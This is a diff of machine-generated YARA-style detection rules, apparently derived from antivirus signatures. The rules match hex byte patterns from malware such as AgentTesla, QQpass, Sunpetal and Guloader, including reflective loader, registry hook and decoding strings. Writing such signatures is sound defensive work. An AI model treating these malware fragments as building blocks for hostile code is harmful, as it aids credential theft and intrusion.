"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 75 6e 70 65 74 61 6c 2e 41 21 64 68 61 00 01 00 38 01 63 68 65 63 6b 5f 75 70 64 61 74 65 5f 25 30 34 58 28 42 61 73 65 36 34 2e 64 65 63 6f 64 65 } //16675 剅吺潲慪䑮睯汮慯敤㩲楗㍮⼲畓灮瑥污䄮搡慨Ā㠀持敨正畟摰瑡彥〥場䈨獡㙥⸴敤潣敤 + $a_20_1 = {73 5b 25 64 2e 2e 2d 31 5d 2e 72 65 76 65 72 73 65 29 29 3b 01 00 1f 01 23 20 66 75 6f 20 72 65 6d 6f 74 65 3a 20 69 64 } //13366 + $a_2e_2 = {64 2e 25 64 2e 25 64 3a 25 64 01 00 0e 01 52 00 75 00 62 00 79 00 33 00 31 00 5c 00 00 00 78 a8 00 00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 49 52 53 45 54 55 50 00 01 00 42 01 43 00 3a 00 5c 00 54 00 45 00 4d 00 50 00 5c 00 5f 00 69 00 72 00 5f 00 73 00 66 00 5f 00 74 00 65 00 6d 00 } //9533 + condition: + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*13366+(#a_2e_2 & 1)*9533) >=3 + +} +rule _InfrastructureShared_12391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -128403,7 +136853,7 @@ rule _InfrastructureShared_11637{ ((#a_6c_0 & 1)*16675+(#a_2d_1 & 1)*11572) >=3 } -rule _InfrastructureShared_11638{ +rule _InfrastructureShared_12392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -128415,7 +136865,7 @@ rule _InfrastructureShared_11638{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*25961+(#a_6f_2 & 1)*21562) >=3 } -rule _InfrastructureShared_11639{ +rule _InfrastructureShared_12393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -128428,7 +136878,7 @@ rule _InfrastructureShared_11639{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25964+(#a_2f_2 & 1)*18771+(#a_c4_3 & 1)*1041) >=3 } -rule _InfrastructureShared_11640{ +rule _InfrastructureShared_12394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -128440,7 +136890,7 @@ rule _InfrastructureShared_11640{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1278+(#a_72_2 & 1)*24321) >=4 } -rule _InfrastructureShared_11641{ +rule _InfrastructureShared_12395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -128453,7 +136903,7 @@ rule _InfrastructureShared_11641{ ((#a_46_0 & 1)*16675+(#a_13_1 & 1)*769+(#a_65_2 & 1)*25939+(#a_4f_3 & 1)*21076) >=4 } -rule _InfrastructureShared_11642{ +rule _InfrastructureShared_12396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -128466,7 +136916,7 @@ rule _InfrastructureShared_11642{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*-28477+(#a_90_2 & 1)*8194+(#a_01_3 & 1)*649) >=4 } -rule _InfrastructureShared_11643{ +rule _InfrastructureShared_12397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -128478,7 +136928,7 @@ rule _InfrastructureShared_11643{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_11644{ +rule _InfrastructureShared_12398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -128491,7 +136941,7 @@ rule _InfrastructureShared_11644{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*29559+(#a_54_2 & 1)*12851+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_11645{ +rule _InfrastructureShared_12399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -128504,7 +136954,7 @@ rule _InfrastructureShared_11645{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24937+(#a_74_2 & 1)*385+(#a_37_3 & 1)*19273) >=4 } -rule _InfrastructureShared_11646{ +rule _InfrastructureShared_12400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -128517,7 +136967,7 @@ rule _InfrastructureShared_11646{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*29295+(#a_36_2 & 1)*13140+(#a_20_3 & 1)*25954) >=4 } -rule _InfrastructureShared_11647{ +rule _InfrastructureShared_12401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -128530,7 +136980,7 @@ rule _InfrastructureShared_11647{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*26988+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_11648{ +rule _InfrastructureShared_12402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -128543,7 +136993,7 @@ rule _InfrastructureShared_11648{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29953+(#a_5f_2 & 1)*28261+(#a_6f_3 & 1)*28003) >=4 } -rule _InfrastructureShared_11649{ +rule _InfrastructureShared_12403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -128557,7 +137007,7 @@ rule _InfrastructureShared_11649{ ((#a_77_0 & 1)*16675+(#a_69_1 & 1)*28784+(#a_00_2 & 1)*57+(#a_61_3 & 1)*384+(#a_62_4 & 1)*16897) >=4 } -rule _InfrastructureShared_11650{ +rule _InfrastructureShared_12404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -128571,7 +137021,7 @@ rule _InfrastructureShared_11650{ ((#a_46_0 & 1)*16675+(#a_62_2 & 1)*16897+(#a_6c_3 & 1)*25185+(#a_01_4 & 1)*3583+(#a_63_5 & 1)*29300) >=4 } -rule _InfrastructureShared_11651{ +rule _InfrastructureShared_12405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -128586,7 +137036,7 @@ rule _InfrastructureShared_11651{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*24930+(#a_36_2 & 1)*26967+(#a_63_3 & 1)*30789+(#a_72_4 & 1)*25196+(#a_00_5 & 1)*0) >=4 } -rule _InfrastructureShared_11652{ +rule _InfrastructureShared_12406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -128601,7 +137051,7 @@ rule _InfrastructureShared_11652{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29541+(#a_42_2 & 1)*19745+(#a_69_3 & 1)*25933+(#a_81_4 & 1)*7424+(#a_01_5 & 1)*29932) >=4 } -rule _InfrastructureShared_11653{ +rule _InfrastructureShared_12407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -128615,7 +137065,7 @@ rule _InfrastructureShared_11653{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*27746+(#a_65_2 & 1)*26213+(#a_00_3 & 1)*-17599+(#a_d2_4 & 1)*18432) >=5 } -rule _InfrastructureShared_11654{ +rule _InfrastructureShared_12408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -128624,25 +137074,39 @@ rule _InfrastructureShared_11654{ $a_fa_1 = {0a 4c 53 75 01 00 2b 01 48 63 5f 3c 33 c9 48 03 df 41 b8 00 30 00 00 44 8d 49 40 8b 53 50 41 ff d6 8b 53 54 48 8b f0 48 8b c7 41 bb 01 00 00 00 48 85 d2 01 00 10 01 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 00 00 04 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 30 33 30 34 32 34 21 4d 54 42 00 01 } //263 $a_07_2 = {08 } //7424 $a_00_3 = {00 0a 23 00 00 00 00 00 00 59 } //28422 - $a_08_4 = {17 58 0c 08 07 8e 69 32 e3 01 00 0a 01 4e 65 78 74 44 6f 75 62 6c 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 51 51 70 61 73 73 2e 44 00 01 00 44 00 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f } //23104 + $a_08_4 = {17 58 0c 08 07 8e 69 32 e3 01 00 0a 01 4e 65 78 74 44 6f 75 62 6c 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 48 30 31 21 4d 54 42 00 01 00 13 81 01 73 6b 69 62 73 70 72 6f 76 69 61 6e } //23104 condition: ((#a_46_0 & 1)*16675+(#a_fa_1 & 1)*263+(#a_07_2 & 1)*7424+(#a_00_3 & 1)*28422+(#a_08_4 & 1)*23104) >=5 } -rule _InfrastructureShared_11655{ +rule _InfrastructureShared_12409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 30 33 30 34 32 34 21 4d 54 42 00 01 00 1d 01 07 08 06 6f 0a 00 00 0a 23 00 00 00 00 00 00 59 40 5a a1 08 17 58 0c 08 07 8e 69 32 e3 01 00 0a 01 4e 65 78 74 44 6f 75 62 6c } //18467 - $a_6f_2 = {42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 51 51 70 61 73 73 2e 44 00 01 00 44 00 } //17921 - $a_54_3 = {41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 45 78 70 6c 6f 72 65 72 5c 53 68 65 6c 6c 45 78 65 63 75 74 65 48 6f 6f 6b 73 01 00 0a 01 4a 6d 70 } //20307 - $a_6b_4 = {66 66 01 00 09 01 4a 6d 70 48 6f 6f 6b 4f 6e 01 00 06 01 43 4c 53 49 44 5c 01 00 0b 01 77 69 6e 69 6e 69 74 2e 69 6e 69 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 51 51 70 61 73 73 2e 44 00 01 00 44 00 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c } //28488 + $a_6f_2 = {42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 48 30 31 21 4d 54 42 00 01 } //17921 + $a_01_3 = {73 6b 69 62 73 70 72 6f 76 69 61 6e 74 65 72 69 6e 67 73 01 00 0d 81 01 6e 6f 6e 63 75 72 74 61 69 6c 69 6e 67 01 00 0c 81 01 64 65 70 6f 70 75 6c 61 74 6f 72 73 01 00 16 81 01 61 6e 6b 65 72 6b 64 65 73 20 6b 6f 6d 6d 61 65 72 73 2e 65 78 65 01 00 1e 81 01 74 6f 74 61 6c 73 79 73 74 65 6d 65 74 73 20 6a 61 61 6e 73 20 6f 76 65 72 73 74 61 69 6e 00 00 78 a8 00 00 05 00 05 00 05 00 21 } //4864 + $a_54_4 = {3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 51 51 70 61 73 73 2e 44 00 01 00 44 00 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 45 78 70 6c 6f 72 65 } //18467 condition: - ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*17921+(#a_54_3 & 1)*20307+(#a_6b_4 & 1)*28488) >=5 + ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*17921+(#a_01_3 & 1)*4864+(#a_54_4 & 1)*18467) >=5 } -rule _InfrastructureShared_11656{ +rule _InfrastructureShared_12410{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 48 30 31 21 4d 54 42 00 01 00 13 81 01 73 6b 69 62 73 70 72 6f 76 69 61 6e 74 65 72 69 6e 67 73 01 00 0d 81 01 6e 6f 6e 63 75 72 74 61 69 6c 69 6e 67 01 00 0c 81 01 64 65 70 } //18467 + $a_6c_1 = {74 6f 72 73 01 00 16 81 01 61 6e 6b 65 72 6b 64 65 73 20 6b 6f 6d 6d 61 65 72 73 2e 65 78 65 01 00 1e 81 01 74 6f 74 61 6c 73 79 73 74 65 6d 65 74 73 20 6a 61 61 6e 73 20 6f 76 65 72 73 74 61 69 6e 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 51 51 70 61 73 73 2e 44 00 01 00 44 } //28783 + $a_46_2 = {57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 45 78 70 6c 6f 72 65 72 5c 53 68 65 6c 6c 45 78 65 63 75 74 65 48 6f 6f 6b 73 01 00 0a 01 4a 6d 70 48 6f 6f 6b 4f 66 66 01 } //21248 + $a_4a_3 = {70 } //2304 p + $a_6b_4 = {6e 01 00 06 01 43 4c 53 49 44 5c 01 00 0b 01 77 69 6e 69 6e 69 74 2e 69 6e 69 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 51 51 70 61 73 73 2e 44 00 01 00 44 00 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e } //28488 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28783+(#a_46_2 & 1)*21248+(#a_4a_3 & 1)*2304+(#a_6b_4 & 1)*28488) >=5 + +} +rule _InfrastructureShared_12411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -128656,7 +137120,7 @@ rule _InfrastructureShared_11656{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*23666+(#a_72_2 & 1)*14930+(#a_78_3 & 1)*27756+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_11657{ +rule _InfrastructureShared_12412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -128665,12 +137129,12 @@ rule _InfrastructureShared_11657{ $a_68_1 = {6c 6c 45 78 65 63 75 74 65 48 6f 6f 6b 73 01 00 0a 01 4d 73 67 48 6f 6f 6b 4f 66 66 01 00 09 01 4d 73 67 48 6f 6f 6b 4f 6e 01 00 06 01 43 4c 53 49 44 5c 01 00 0b 01 77 69 6e 69 6e 69 74 2e 69 6e 69 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 } //23666 $a_69_2 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4b 4d 30 31 21 4d 54 42 00 01 00 1e 81 01 75 6e 69 76 65 72 73 69 74 65 74 73 6c 65 6b 74 6f 72 65 72 6e 65 5c 72 65 6e 65 72 76 65 01 00 17 81 01 73 75 62 6c 61 6e 67 75 61 67 65 73 20 63 61 6e 64 79 73 2e 65 78 65 01 00 } //14930 $a_64_3 = {62 } //-32492 b - $a_67_4 = {72 6e 65 5c 62 61 67 67 61 6e 67 73 01 00 11 81 01 5c 43 68 6f 72 75 73 73 65 73 32 34 37 2e 73 63 75 01 00 0d 81 01 54 6f 72 62 6a 72 6e 34 39 2e 74 78 74 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 54 48 31 32 33 21 4d 54 42 00 01 00 15 81 01 6e 61 62 61 6c 69 74 } //26978 + $a_67_4 = {72 6e 65 5c 62 61 67 67 61 6e 67 73 01 00 11 81 01 5c 43 68 6f 72 75 73 73 65 73 32 34 37 2e 73 63 75 01 00 0d 81 01 54 6f 72 62 6a 72 6e 34 39 2e 74 78 74 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4a 30 31 21 4d 54 42 00 01 00 10 81 01 74 6f 74 61 6c 65 6e 74 72 } //26978 condition: ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*23666+(#a_69_2 & 1)*14930+(#a_64_3 & 1)*-32492+(#a_67_4 & 1)*26978) >=5 } -rule _InfrastructureShared_11658{ +rule _InfrastructureShared_12413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -128678,13 +137142,27 @@ rule _InfrastructureShared_11658{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4b 4d 30 31 21 4d 54 42 00 01 00 1e 81 01 75 6e 69 76 65 72 73 69 74 65 74 73 6c 65 6b 74 6f 72 65 72 6e 65 5c 72 65 6e 65 72 76 65 01 00 17 81 01 73 75 62 6c 61 6e 67 75 61 67 65 73 20 63 61 6e 64 } //18467 $a_65_1 = {65 01 00 14 81 01 64 75 62 62 69 6e 67 65 72 6e 65 5c 62 61 67 67 61 6e 67 73 01 00 11 81 01 5c 43 68 6f 72 75 73 73 65 73 32 34 37 2e 73 } //29561 $a_00_2 = {0d } //30051 - $a_6f_3 = {62 6a 72 6e 34 39 2e 74 78 74 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 54 48 31 32 33 21 4d 54 42 00 01 00 15 81 01 6e 61 62 61 6c 69 74 69 63 20 73 6c 61 67 76 61 61 62 65 6e 73 01 00 } //385 - $a_6e_4 = {76 } //-32504 v + $a_6f_3 = {62 6a 72 6e 34 39 2e 74 78 74 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4a 30 31 21 4d 54 42 00 01 00 10 81 01 74 6f 74 61 6c 65 6e 74 72 65 70 72 69 73 65 73 01 00 1b 81 01 66 61 62 72 } //385 + $a_6d_4 = {6b 65 72 6e 65 20 73 74 65 6e 62 69 64 65 72 6e 65 73 01 00 1c 81 01 68 6a 6c 70 65 6d 75 6c 69 67 68 65 64 73 20 75 73 69 6b 6b 65 72 68 65 64 65 6e 73 01 00 09 81 01 73 6b 72 69 67 65 6e 65 73 01 00 17 81 01 41 67 65 72 6d 61 61 6e 65 5c 64 61 74 61 6d 61 74 65 6e 2e 67 69 66 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e } //27497 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29561+(#a_00_2 & 1)*30051+(#a_6f_3 & 1)*385+(#a_6e_4 & 1)*-32504) >=5 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29561+(#a_00_2 & 1)*30051+(#a_6f_3 & 1)*385+(#a_6d_4 & 1)*27497) >=5 } -rule _InfrastructureShared_11659{ +rule _InfrastructureShared_12414{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4a 30 31 21 4d 54 42 00 01 00 10 81 01 74 6f 74 61 6c 65 6e 74 72 65 70 72 69 73 65 73 01 00 1b 81 01 66 61 62 72 69 6b 73 6d 72 6b 65 72 6e 65 20 73 74 65 6e 62 69 64 65 72 6e 65 73 01 00 1c 81 } //18467 + $a_6c_1 = {65 6d 75 6c 69 67 68 65 64 73 20 75 73 69 6b 6b 65 72 68 65 64 65 6e 73 01 00 09 81 01 73 6b 72 69 67 65 6e 65 73 01 00 17 81 01 41 67 65 72 6d 61 61 6e 65 5c 64 61 74 61 6d 61 74 65 6e 2e 67 69 66 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 54 48 31 32 } //26625 + $a_54_2 = {00 01 00 15 81 01 6e 61 62 61 6c 69 74 69 63 20 73 6c 61 67 76 61 61 62 65 6e 73 01 00 08 81 01 6e 6f 76 61 74 69 6f 6e 01 00 1b 81 01 73 61 6d 6b 76 65 6d 73 72 65 74 73 72 65 73 6f 6c 75 74 69 6f 6e 65 72 6e 65 73 01 00 0f 81 01 } //8499 + $a_74_3 = {66 65 72 6f 75 73 2e 65 78 65 01 00 1e 81 01 79 61 77 6e 65 79 20 64 69 73 6f 62 65 79 69 6e 67 20 69 6e 64 75 73 74 72 69 65 6c 6c 65 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 51 54 31 32 33 21 4d 54 42 00 01 00 13 81 01 76 } //26465 + $a_74_4 = {63 69 6e 20 64 65 63 6c 69 76 6f 75 73 01 00 22 81 01 73 6f 6c 64 65 62 72 6f 64 65 72 20 6b 72 61 6b 69 6c 65 72 69 65 72 6e 65 20 61 73 74 79 6c 6c 65 6e 01 00 15 81 01 73 6f 72 74 69 6d 65 6e 74 73 62 6f 67 68 61 6e 64 6c 65 72 73 01 00 0d 81 01 6f 72 64 69 6e 65 72 65 73 20 6a 61 70 01 00 0e 81 01 6b 6f 6d 6d 65 6e 73 75 72 61 } //29537 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26625+(#a_54_2 & 1)*8499+(#a_74_3 & 1)*26465+(#a_74_4 & 1)*29537) >=5 + +} +rule _InfrastructureShared_12415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -128692,26 +137170,40 @@ rule _InfrastructureShared_11659{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 54 48 31 32 33 21 4d 54 42 00 01 00 15 81 01 6e 61 62 61 6c 69 74 69 63 20 73 6c 61 67 76 61 61 62 65 6e 73 01 00 08 81 01 6e 6f 76 61 74 69 6f 6e 01 00 1b 81 01 73 61 6d 6b 76 65 6d 73 72 65 74 } //18467 $a_73_1 = {6c 75 74 69 6f 6e 65 72 6e 65 73 01 00 0f 81 01 61 67 61 74 69 66 65 72 6f 75 73 2e 65 78 65 01 00 1e 81 01 79 61 77 6e 65 79 20 64 69 73 6f 62 65 79 69 6e 67 20 69 6e 64 75 73 74 72 69 65 6c 6c 65 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b } //29299 $a_31_2 = {33 21 4d 54 42 00 01 00 13 81 01 76 61 73 6f 74 6f 63 69 6e 20 64 65 63 6c 69 76 6f 75 73 01 00 22 81 01 73 6f 6c 64 65 62 72 6f 64 65 72 20 6b 72 61 6b 69 6c 65 72 69 65 72 6e 65 20 61 73 74 79 6c 6c 65 6e 01 00 15 81 01 73 6f 72 74 69 6d 65 6e 74 73 } //20823 - $a_68_3 = {6e 64 6c 65 72 73 01 00 0d 81 01 6f 72 64 69 6e 65 72 65 73 20 6a 61 70 01 00 0e 81 01 6b 6f 6d 6d 65 6e 73 75 72 61 62 65 6c 74 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 48 30 31 21 4d 54 42 00 01 00 20 81 01 54 6f 74 61 6c 20 56 69 64 65 } //28514 - $a_6f_4 = {76 65 72 74 65 72 20 33 2e 37 31 20 53 65 74 75 70 01 00 13 81 01 45 6e 74 65 72 67 79 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0f 81 01 46 72 61 70 73 20 49 6e 73 74 61 6c 6c 65 72 01 00 0d 81 01 41 } //8303 + $a_68_3 = {6e 64 6c 65 72 73 01 00 0d 81 01 6f 72 64 69 6e 65 72 65 73 20 6a 61 70 01 00 0e 81 01 6b 6f 6d 6d 65 6e 73 75 72 61 62 65 6c 74 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 56 45 30 31 21 4d 54 42 00 01 00 0f 81 01 75 64 64 72 69 76 65 20 61 74 6f } //28514 + $a_79_4 = {00 0b 81 01 70 72 65 69 6e 73 63 72 69 62 65 01 00 1f 81 01 6e 6f 6e 70 72 65 68 65 6e 73 69 6c 65 20 74 6f 6b 65 6e 73 20 6d 69 73 73 69 6c 65 72 6e 65 01 00 1e 81 01 73 6b 72 6f 74 62 69 6c 65 72 73 20 6e 6f 6e 63 6f 6e 66 75 74 61 74 69 6f 6e 2e 65 78 65 01 00 10 81 01 61 6c 69 6b 6b 61 20 74 75 6c 69 73 61 6e 65 73 00 00 78 a8 00 00 05 00 05 } //26989 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29299+(#a_31_2 & 1)*20823+(#a_68_3 & 1)*28514+(#a_6f_4 & 1)*8303) >=5 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29299+(#a_31_2 & 1)*20823+(#a_68_3 & 1)*28514+(#a_79_4 & 1)*26989) >=5 } -rule _InfrastructureShared_11660{ +rule _InfrastructureShared_12416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 51 54 31 32 33 21 4d 54 42 00 01 00 13 81 01 76 61 73 6f 74 6f 63 69 6e 20 64 65 63 6c 69 76 6f 75 73 01 00 22 81 01 73 6f 6c 64 65 62 72 6f 64 65 72 20 6b 72 61 6b 69 6c 65 72 69 65 72 6e 65 20 } //18467 - $a_79_1 = {6c 65 6e 01 00 15 81 01 73 6f 72 74 69 6d 65 6e 74 73 62 6f 67 68 61 6e 64 6c 65 72 73 01 00 0d 81 01 6f 72 64 69 6e 65 72 65 73 20 6a 61 70 01 00 0e 81 01 6b 6f 6d 6d 65 6e 73 75 72 61 62 65 6c 74 00 00 78 a8 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 48 30 31 21 4d 54 42 00 01 00 20 81 01 } //29537 - $a_61_2 = {20 56 69 64 65 6f 20 43 6f 6e 76 65 72 74 65 72 20 33 2e 37 31 20 53 65 74 75 70 01 00 13 81 01 45 6e 74 65 72 67 79 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0f 81 01 46 72 61 70 73 20 49 6e 73 74 61 6c 6c 65 72 01 00 0d 81 01 